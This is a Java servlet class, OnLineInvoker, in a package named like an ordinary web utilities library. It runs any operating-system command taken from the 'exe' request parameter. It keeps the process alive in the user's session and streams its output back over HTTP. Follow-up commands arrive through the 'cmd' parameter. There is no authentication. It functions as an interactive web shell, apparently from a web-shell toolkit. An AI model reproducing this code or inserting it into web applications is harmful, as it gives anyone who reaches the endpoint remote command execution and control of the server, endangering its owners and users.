package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.OnLineConnector;
import com.truthbean.jeetb.utils.web.OnLineProcess;
import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.nio.charset.Charset;

/**
 * Created by truth on 16-12-1.
 */
public class OnLineInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String type = request.getParameter("type");
            if (Utils.isEmpty(type))
                return;
            if (type.toLowerCase().equals("start")) {
                String exe = request.getParameter("exe");
                if (Utils.isEmpty(exe))
                    return;
                Process pro = Runtime.getRuntime().exec(exe);
                ByteArrayOutputStream outs = new ByteArrayOutputStream();
                response.setContentLength(100000000);
                response.setContentType("text/html;charset=" + Charset.defaultCharset().name());
                OnLineProcess olp = new OnLineProcess(pro);
                session.setAttribute(SHELL_ONLINE, olp);
                new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()), pro.getOutputStream(), "exeOclientR", olp).start();
                new OnLineConnector(pro.getInputStream(), response.getOutputStream(), "exeRclientO", olp).start();
                new OnLineConnector(pro.getErrorStream(), response.getOutputStream(), "exeRclientO", olp).start();
                Thread.sleep(1000 * 60 * 60 * 24);
            } else if (type.equals("ecmd")) {
                Object o = session.getAttribute(SHELL_ONLINE);
                String cmd = request.getParameter("cmd");
                if (Utils.isEmpty(cmd))
                    return;
                if (o == null)
                    return;
                OnLineProcess olp = (OnLineProcess) o;
                olp.setCmd(cmd);
            } else {
                Object o = session.getAttribute(SHELL_ONLINE);
                if (o == null)
                    return;
                OnLineProcess olp = (OnLineProcess) o;
                olp.stop();
            }
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}
